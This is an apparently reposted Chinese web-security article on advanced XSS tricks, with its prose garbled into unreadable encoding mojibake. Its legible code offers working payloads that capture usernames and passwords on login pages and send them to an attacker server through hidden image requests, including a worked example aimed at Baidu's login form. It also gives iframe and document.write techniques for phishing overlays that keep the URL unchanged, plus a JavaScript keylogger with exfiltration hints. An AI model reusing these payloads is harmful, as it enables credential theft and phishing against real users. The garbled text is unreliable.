Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Modeler   Code  
»áÔ±   
 
   
 
 
     
   
 ¶©ÔÄ
  ¾èÖú
Ï·Ë£XSSµÄһЩ¼¼ÇÉ
 
×÷ÕߣºBlack-Hole À´Ô´£ººÚ¿ÍÓ뼫¿Í ·¢²¼ÓÚ£º2015-8-27
  2416  次浏览      27

0¡Á01£ºµ±×¢²á/µÇÂ½Ò³Ãæ/ÐÞ¸ÄÃÜÂëÒ³ÃæµÈ´æÔÚXSSʱ

µ±ÄãÊÖ¹¤»òÕßÈí¼þÍÚµ½Ò»¸öÒ³ÃæµÄxssʱ(ÎÞÂÛÊÇ·´Éäxss»òÕß´¢Ðîxss¶¼¿ÉÒÔ)£¬Õâ¸öʱºòÏëÒªÉîÈëµÄÀûÓÃÕâ¸ö©¶´£¬¸ÃÔõô×öÄØ£¿ÓÃWebRTCÀ´ÄÚÍø¶Ë¿Ú¼ì²â£¿µÁÈ¡cookies(µÇÂ½Ò³ÃæºÍ×¢²áÒ³ÃæÒ»°ã¶¼²»»áÓÐÓû§cookies)£¿ÓÃä¯ÀÀÆ÷©¶´À´µ÷È¡cmdÈëÇÖ(ÄÜÍÚµ½Ã´)£¿

Õâ²»ÐУ¬ÄDz»ÐС£µ½µ×Ôõô°ìÄØ£¿ÎÒÃÇÕâ¸öʱºò¿ÉÒÔ¸ù¾ÝÒ³ÃæµÄÌØÐÔÀ´Íê³É£¬¼ÙÉ赱ǰÊÇ×¢²áÒ³Ãæ£¬´æÔÚXSS£¬ÄÇÎÒÃÇÓ¦¸ÃÔõô×ö²ÅºÃÄØ¡£Èç¹ûÊÇ·´ÉäXSS£¬¿ÉÒÔÔ¶³Ìµ÷ÓÃjsÎļþ£¬Èç¹ûÊÇ´¢ÐîÐÍXSS¿ÉÒÔÔÚÒ³ÃæÀïÃæÐ´¡£´úÂëÈçÏ£º

/*Èç¹ûµ±Ç°Ò³ÃæÃ»ÓÐʹÓÃjQuery£¬¾Í²ÉÓÃÔ­ÉúµÄJavaScript£¬ÏÂÃæº¯ÊýÊÇÖØÐ´ÁËjQueryµÄÑ¡ÔñÆ÷¼°attr¡£
userInfo('data-user','username','value')µÈ¼ÛÓÚ£º$("input[data-user='username']").attr('value');
Õâ¸ö´úÂë´æÔÚÒ»¸öbug£¬¾ÍÊÇgetAttribute»ñÈ¡inputµÄvalueʱ»áÏÔʾ¿Õ£¬ Õâ¸öʱºòÖ»ÐèÒª°ÑgetAttribute¸Ä³Évalue¾ÍÐÐÁË¡£Ö®ËùÒÔûÓиģ¬ ÊÇÒòΪÄãÓÖ¿ÉÄÜ´«ÈëÆäËûµÄ±êÇ©£¬±ÈÈçimgʲôµÄ£¬Èç¹ûÄãÒª´«µÄ±êÇ©²»ÊÇinput£¬ valueÊÇ»ñÈ¡²»µ½µÄ£¬ÐèҪʹÓÃgetAttribute¡£
*/
var userInfo = function(data,value,post,tag){
if(!arguments[3]){
//ÅжϵÚËĸö²ÎÊýÊÇ·ñ´æÔÚ
tag = "input";
//µ±Ã»ÓеÚËĸö²ÎÊý´«½øÀ´Ê±£¬Ä¬ÈÏΪinput
}
var tagData = document.querySelectorAll(tag + '[' + data + ']');
//²éÕÒÍøÒ³ÖÐij±êÇ©´æÔÚij¸öÊôÐÔ
for(var i = 0;i<tagData.length;i++){
//±éÀú²éÕÒºóµÄ½á¹û
if(tagData[i].getAttribute(data) == value && tagData[i].getAttribute(post)){
//ÅжÏÊôÐÔµÄÖµÊÇ·ñΪ×Ô¼ºËùÖ¸¶¨µÄ£¬Èç¹ûÊÇ×Ô¼ºÊôÐÔºÍÖµ¶¼Æ¥ÅäÁË£¬ÔÙÅжÏÊÇ·ñÓÐ×Ô¼ºµÄÏëÒª»ñÈ¡µÄÊôÐÔ
return tagData[i].getAttribute(post);
//·µ»ØÆ¥Åä³É¹¦µÄÖµ
}
}
}
document.getElementById("xxx").click(function() {
//µ±Óû§µãidΪxxxµÄʱºò£¬ÔËÐк¯ÊýÄڵĴúÂë¡£
var user = userInfo('data-user','username','value');
//°Ñ»ñÈ¡µÄÖµ¸³Öµ¸øuser
var password = userInfo('data-user','password','value');
//°Ñ»ñÈ¡µÄÖµ¸³Öµ¸øpassword
var imgTag = "<img src='·þÎñÆ÷½ÓÊܵØÖ·.com/xxx.php?user= " + user +"&password=" + password + "' style='display:none;'";
document.getElementsByTagName('body')[0].appendChild(imgTag);
})

ÒÔimg±êÇ©·¢ËÍgetµÄ·½Ê½À´°ÑÓû§µÄÕ˺ÅÃÜÂë·¢Ë͵½·þÎñÆ÷(֮ǰʹÓÃJavaScript½áºÏWebRTCʵÏÖÄÚÍø¶Ë¿Ú¼ì²âµÄʱºò¾ÍÊÇÓÃÕâ¸öµÄ¡£)£¬ÒòΪimgµÄsrc»áÒÔgetµÄ·½Ê½À´·¢ËÍÊý¾Ý£¬ÎÒÃÇÖ»ÐèÒªÔÚ·þÎñ¶ËдÉÏ$_GET['user']ºÍ$_GET['password']¾Í¿ÉÒÔ»ñÈ¡µ½ÁË¡£ÒòΪÎÒÃDZ¾Éí²¢²»ÊÇÒ»¸öÍêÕûµÄÇëÇó£¬Ö»Óз¢ËÍ¡£ËùÒÔ²»ÐèÒªµ£ÐÄ¿çÓòµÄÎÊÌâ¡£

Èç¹ûµ±Ç°Ò³ÃæµÄ±¾Éíµ÷ÓÃÁËjQuery£¬ÄǾͲ»ÐèÒªÉÏÎÄÄÇôÂé·³ÁË¡£ÒòΪ´úÂëÁ¿ÕæµÄºÜÉÙºÜÉÙ£¬´úÂëÈçÏ£º

$("input:submit").onClick(function(){
//µ±µã»÷¡°Ìá½»¡±°´Å¥Ê±Ëù´¥·¢µÄº¯Êý
var user = $("input[data-user='username']").val();
//»ñÈ¡input±êÇ©Àï¾ßÓÐÊôÐÔΪdata-userÇÒÊôÐÔֵΪusernameµÄDOM£¬È»ºóÔÚ»ñÈ¡Óû§ÊäÈëµÄÖµ¡£

var password = $("input[data-user='password']").val();
//»ñÈ¡input±êÇ©Àï¾ßÓÐÊôÐÔΪdata-userÇÒÊôÐÔֵΪpasswordµÄDOM£¬È»ºóÔÚ»ñÈ¡Óû§ÊäÈëµÄÖµ
$("body").append("<img src='http://·þÎñÆ÷½ÓÊܵØÖ·.com/?user= " + user + "&password=" + password + "' style='display:none;'>");.
//°Ñ¹¹ÔìºÃµÄimg±êÇ©²åÈëµ½body±êÇ©ÀïµÄ½áβ
});

µ±´úÂëOKºó£¬Óû§µã»÷Ìύʱ£¬¿ÉÒÔ×¢²á£¬µ«ÊÇͬʱËûµÄÕ˺ÅÃÜÂë¶¼»á±»ÎÒÃÇËùÖªµÀ¡£Ï൱ÓÚwifiÖмäÈ˽ٳÖÁË¡£

˵Á˰ëÌìµÄ»°£¬Ò²¸øÁËÄÇô¶à´úÂ룬²»À´µãÊÂÀýÓеã˵²»¹ýÈ¥ÁË¡£ÊÂÀý£º

ÎÒÃÇÏȼÙÉèpan.baidu.com´æÔÚXSS¡£ÊÇÔÚURLÀïµÄs²ÎÊýÀï¡£¾ÍÏñ£º

http://pan.baidu.com/?s=<script>alert(1)</script>£¬¿ªÊ¼·ÖÎö¹¹ÔìÁË¡£

´ò¿ªÒ³Ã棬F12£¬¿´ÏÂÓû§Õ˺ż°ÃÜÂëµÄDOM¡£

ÕâÀïÎÒÃÇ¿ÉÒÔʹÓÃid½øÐж¨Î»¡£InputµÄtypeΪtext¶¨Î»ºÃÁË£¬ÏÂÃæ¾ÍÊǶ¨Î»µÇ½°´Å¥ÁË¡£

·ÖÎöÍêÁ˺ó£¬ÎÒÃÇ¿ÉÒÔ½øÐдúÂë¹¹ÔìÁË£º

$("#TANGRAM__PSP_4__submit").click(function(){
var user = $("#TANGRAM__PSP_4__userName").val();
var password = $("#TANGRAM__PSP_4__password").val();
$("body").append("<img src='http://a.cn/?user=" + user + "&password=" + password + "' style='display:none;'>");
});

OKÁ˺ó£¬ÎÒÃÇÀ´ÊµÑéÏ£º

ÏÈÓÃburp°ÑÊý¾Ý°ü½Ø¶Ï£¬·ÀÖ¹Ò³ÃæÌø×ª¡£µã»÷µÇ½ºó£¬ÎÒÃÇÔÚ¡°¿ØÖÆÌ¨¡±¿´ÏÂ

äÖȾ³É¹¦£¬ÎÒÃÇÔÚ·þÎñ¶Ë¿´Ï£º

ÕâÀïûÓÐʹÓÃphp¡£Ê¹ÓõÄÊÇnginxµÄlogÈÕÖ¾¡£phpÒòΪ·´À¡²»Ã÷ÏÔ£¬³ý·Çµ¼Èëµ½Êý¾Ý¿âÀï¡£ÄǾÍÌ«Âé·³ÁË¡£ÕâÀïÎÒÃÇ£¬¿ÉÒÔ¿´µ½³É¹¦ÁË¡£Èç¹ûÄãÏëʹÓÃphpµÄ»°£¬ÔÙindex.phpÀïдÉÏ$_GET['user']ºÍ$_GET['password']¾Í¿ÉÒÔ»ñÈ¡µ½ÁË¡£

0¡Á02£ºÎ±ÔìÒ³Ãæ£¬URL²»±ä

֮ǰ´ó¼ÒαÔìµöÓãÒ³ÃæÊ±£¬¾­³£Ê¹ÓÃ<meta http-equiv="Refresh" content="1; url=http://µöÓãÒ³Ãæ.com" />window.location.href="http://µöÓãÒ³Ãæ.com";»òÕ߯ðÒ»¸ö·Ç³£ÓÐÓÕ»óÐÔµÄÓòÃû£¬±ÈÈ磺htpp://www.freebvf.com/£¬ÔÙ»òÕßÒÔÊÖÎóµÄ·½Ê½À´ÉèÖÃÓòÃû£¬±ÈÈ磺http://www.freevuf.com/£¬µ«ÊÇÕâЩ¾ÍÓеãlowÁË¡£ÕâÀï¼¼ÇÉÓиöÒªµã£¬¾ÍÊǵ±Ç°Ò³Ãæ±ä»¯£¬µ«ÊÇURL²»±ä¡£ÕâÀïÓÐÁ½¸ö·½·¨¡£Èç¹ûÄãÓиüºÃµÄ·½·¨£¬»¶Ó­Ìá³öÀ´£¬ÈÃÎÒѧϰÏ¡£

µÚÒ»ÖÖ·½·¨£º

ÀûÓÃiframe£¬È¥µôiframeµÄ±ß¿ò¼°¹ö¶¯Ìõ¡£ÔÙʱiframeµÄ¿í¶È100%£¬Õ¼ÂúÕû¸öÒ³Ãæ¡£

var windowHeight=$(window).height() + 500; //»ñÈ¡µ±Ç°¿ÉÊÓÇøÓòµÄ¸ß£¬²¢ÇÒ¼ÓÉÏ500px£¬·ÀÖ¹µ±ä¯ÀÀÆ÷´°¿Ú±ä»¯Ê±£¬Ð¹Â¶ÏÂÃæµÄÄÚÈÝ

$("body").before('<iframe src="http://www.freebuf.com/" id="frame3d"
 name="frame3d" frameborder="0" width="100%" scrolling="no" height="' + windowHeight + '"></iframe>');
//²åÈëiframe±êÇ©£¬srcΪµöÓãÒ³Ãæ
$("html").attr({
onmousewheel: 'return false',
//½ûÖ¹Êó±êÂÖ¶¯Ê¼þ£¬ÈÃÊó±êÎÞ·¨¹ö¶¯

style: 'overflow-x:hidden;overflow-y:hidden'
//Òþ²Ø¹ö¶¯Ìõ
});

ÀûÓÃÁËiframe¿ÉÒÔµ÷ÓÃÍⲿ´°¿ÚµÄÌØÐÔÀ´½øÐй¹Ôì´úÂë¡£ÒªµãÓУº°Ñiframe×î´ó»¯¡¢½ûÖ¹Ò³Ãæ¹ö¶¯¡¢Òþ²Ø¹ö¶¯Ìõ¡£À´¸öÊÂÀýͼ£º

»¹ÓÐÒ»ÖÖ°ì·¨ÊÇÀûÓÃajaxÀ´½øÐÐαÔ죬»ñÈ¡ÍⲿµÄÍøÒ³£¬È»ºóÀûÓÃdocument.write()À´°ÑÄÚÈÝдµ½Ò³Ãæ¡£ÒòΪdocument.write()ÓиöÌØÐÔ¾ÍÊÇ£¬Ê¹ÓÃdocument.write()ʱ»áÖØÐ´Ò³Ãæ£¬ÎÞÂÛÒ³ÃæÀïÓÐʲôÄÚÈÝ£¬¶¼»á±»ÖØÐ´¡£´úÂëÈçÏ£º

$.ajax({
url: 'http://www.freebuf.com/',
type: 'post',
dataType: 'text',
})
.done(function(data) {
document.write(data);
})

ÕâÀïÓм¸¸öÐèҪעÒâµÄµØ·½£¬document.write()дÈëÒ³Ãæºó£¬ËùÓеÄ×ÊÔ´¶¼»áÖØ¶¨Ïòµ½Ô­±¾µÄµØÖ·¡£´ò¸ö±È·½¡£

ÎÒÃǵĵöÓãÍøÒ³ÊÇhtpp://www.freebuf.com/¡£ÀïÃæµÄÔÚµ÷ÓÃjs/css/img/swfµÈ×ÊÔ´µÄʱºò£¬Ê¹ÓõÄÊÇÏà¶ÔĿ¼À´½øÐÐË÷ÒýµÄ¡£¾ÍÏñÏÂÃæÕâÑù£º

<script src="./other/js/new/backtop.js"></script>£¨ÕâÊÇÎÒ±àµÄ£¬freebuf²¢Ã»ÓÐʹÓÃÏà¶ÔĿ¼£©

ÄÇÎÒÃǽ«freebufÕâ¸öµöÓãÒ³ÃæÒ²µ½Ä¿±êÍøÒ³ºó£¬¼ÙÉèÄ¿±êµÄURLÊÇ£ºhttp://www.baidu.com/¡£ÄÇÕâ¸öjsµÄ×ÊÔ´¾Í»á±»Ö¸¶¨Îªhttp://baidu.com/other/js/new/backtop.js¡£´Ó¶øµ¼ÖÂÒ³Ãæ²»ÊÜ¿ØÖÆ¡£¾ÍÏñÏÂÃæÕâÑù:

¿´Ï¿ØÖÆÌ¨¾Í¸ü¼ÓµÄÇå³þÁË£º

»¹ÓÐÒ»¸öÐèҪעÒâÄǾÍÊÇÐèÒªÔÙÕâ¸öÎļþÒ²¾ÍÊÇindex.phpÀïµÄÍ·ÉÏдÈëÏÂÃæµÄ´úÂ룺

<?php header( 'Access-Control-Allow-Origin:*' );?>

ÕâÑù¾Í¿ÉÒÔʹÓÃajaxÀ´½øÐпçÓòÁË¡£

ÕâÁ½¸ö·½·¨µÄÓŵãºÍȱµãÎÒÃÇ˵Ï£º

µÚÒ»ÖÖÓÃiframe£º

ȱµã£ºÈÝÒ×±»·¢ÏÖ£¬¡£F12¾Í¿ÉÒÔ¿´µ½Ò»¸öiframe£¬¶øÇÒµ±ä¯ÀÀÆ÷µÄ´°¿Ú×ã¹»´óµÄʱºò£¬»áʹԭ±¾µÄÍøÒ³Ð¹Â¶³öÒ»µã¡£´Ó¶øµ¼ÖÂÓû§·¢ÏÖ¡£´úÂëÁ¿¶à

Óŵ㣺ÏÞÖÆÌØ±ðÉÙ¡£

µÚ¶þÖÖÓÃajax£º

ȱµã£ºÊ¹ÓÃajax¿´À´ÇëÇóÔ¶³ÌµØÖ·²¢ÖØÐ´µÄʱºò£¬ÐèҪעÒâµÄÊÇ£¬¼´Ê¹µöÓãÍøÕ¾²»Ê¹ÓÃÏà¶Ô·¾¶£¬¶øÇÒ»¹¼ÓÈëÁË<?php header( 'Access-Control-Allow-Origin:*' );?>£¬µ«ÊÇ»¹ÊDz»ÐУ¬ÒòÎªÍøÕ¾µÄ±¾Éí¾Í×öÁËÏÞÖÆ¡£

Óŵ㣺´úÂëÁ¿ÌرðÉÙ

0¡Á03£ºotherС¼¼ÇÉ

JavaScript¼üÅ̼Ǽ£º

function keyUp(e) {
var keyChar=0,e=e||event;
keyChar=e.keyCode||e.which||e.charCode;
var key = String.fromCharCode(keyChar);
console.log("×Ö·û: " + key);
}document.onkeyup = keyUp;

Õâ¶Î´úÂëÖ»ÐèÒªÔËÐоÍÐÐÁË¡£Èç¹ûÏë·¢Ë͵½Ô¶³ÌµÄ·þÎñÆ÷ÉÏÃæ£¬¿ÉÒÔʹÓÃajax»òÕßÎÒÉÏÃæµÄ˵µÄ<img src='http://·þÎñÆ÷½ÓÊܵØÖ·.com/?key=" + key +"' style='display:none;'>À´½øÐз¢ËÍ£¬¿ÉÒÔʹÓÃforÑ­»·¶ÔÉÏÃæµÄ´úÂë½øÐÐÑ­»·£¬°ÑÓû§°´ÏµļüÏȸ³Öµ¸øÒ»¸öÖµ£¬µ±µã»÷Ìύʱ¾Í¿ÉÒÔ·¢ËÍÁË¡£

Èç¹ûÍøÕ¾²»ÏÞÖÆ×Ö·û´®µÄ»°£¬¿ÉÒÔʹÓÃhttp://www.jsfuck.com/À´¶ÔÔ­±¾µÄJavaScript´úÂë½øÐбäÒì¡£µ«ÊÇÕâÖÖ±äÒìºóµÄ³¤¶ÈÌØ±ð³¤£¬¼ÇסÊÇÌØ±ð³¤£¡

0¡Á04£º½áÊøÓï

×î½üˢ΢²©£¬¿´µ½ÏÂÃæµÄ΢²©£º

¶ÔÓÚÕâÖÖ³§ÉÌ£¬ÎÒÖ»ÄÜ˵×Ô¼ºÄԲв»ÒªËµ±ðÈ˼¼Êõ²î¡£

ºÚ¸ç֮ǰµÄXSSÂþÓÎÄÚÍø£¬ÒÔ¼°XSS±éÀúÄÚÍøIP¶Ë¿Ú¡£»¹ÓÐXSSÀûÓÃä¯ÀÀÆ÷APIµ¯¼ÆËãÆ÷µÈµÈ£¬ÊÂʵ֤Ã÷Õâ²»ÊÇ08ÄêµÄʱºòÁË£¬²»ÒªÒ»Ö±Ïë×ÅXSSÖ»ÄÜ´òcookies£¬¿ÉÄÜÄãÕýÔÚÕâÑùÏëµÄʱºò£¬±ðÈËÒѾ­ÓÃxssÂþÓÎÄãµÄÄÚÍøÁËÄØ¡£

   
2416 ´Îä¯ÀÀ       27
 
Ïà¹ØÎÄÕÂ

iOSÓ¦Óð²È«¿ª·¢£¬Äã²»ÖªµÀµÄÄÇЩÊÂÊõ
Web°²È«Ö®SQL×¢Èë¹¥»÷
ÒÆ¶¯APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
´ÓGoogle±¸·Ý»¥ÁªÍø¿´¡°Êý¾Ý°²È«¡±
 
Ïà¹ØÎĵµ

web°²È«Éè¼ÆÓë·À»¤
»¥ÁªÍøº£Á¿ÄÚÈݰ²È«´¦Àí¼¼Êõ
ºÚ¿Í¹¥»÷Óë·À·¶¼¼Êõ
WEBºÚºÐ°²È«¼ì²â
 
Ïà¹Ø¿Î³Ì

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶
×îл¼Æ»®
DeepSeekÔÚÈí¼þ²âÊÔÓ¦ÓÃʵ¼ù 4-12[ÔÚÏß]
DeepSeek´óÄ£ÐÍÓ¦Óÿª·¢Êµ¼ù 4-19[ÔÚÏß]
UAF¼Ü¹¹ÌåϵÓëʵ¼ù 4-11[±±¾©]
AIÖÇÄÜ»¯Èí¼þ²âÊÔ·½·¨Óëʵ¼ù 5-23[ÉϺ£]
»ùÓÚ UML ºÍEA½øÐзÖÎöÉè¼Æ 4-26[±±¾©]
ÒµÎñ¼Ü¹¹Éè¼ÆÓ뽨ģ 4-18[±±¾©]

iOSÓ¦Óð²È«¿ª·¢
Web°²È«Ö®SQL×¢Èë¹¥»÷
APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
³õ̽PHPµÄSQL×¢Èë¹¥»÷µÄ¼¼Êõ
´ÓGoogle±¸·Ý¿´¡°Êý¾Ý°²È«¡±

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
×¢²áÐÅÏ¢°²È«×¨ÒµÈËÔ±(CISP)
ÐÅÏ¢°²È«¹ÜÀí
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶

ÖйúÒøÐÐ ÐÅÏ¢°²È«¼¼Êõ¼°Éî¶È·ÀÓù
WebÓ¦Óð²È«¼Ü¹¹¡¢ÈëÇÖ¼ì²âÓë·À»¤
ij²ÆË°ÁìÓòÖªÃûIT·þÎñÉÌ Web°²È«²âÊÔ
ÆÕÈð¿Ë˹ web°²È«Éè¼Æ¡¢²âÊÔÓëÓÅ»¯
±±¾©ºÍÀûʱ ÐÔÄܺͰ²È«ÐÔ²âÊÔ
SUNÖйú¹¤³ÌÑо¿Ôº JSF¿ò¼Ü¡¢°²È«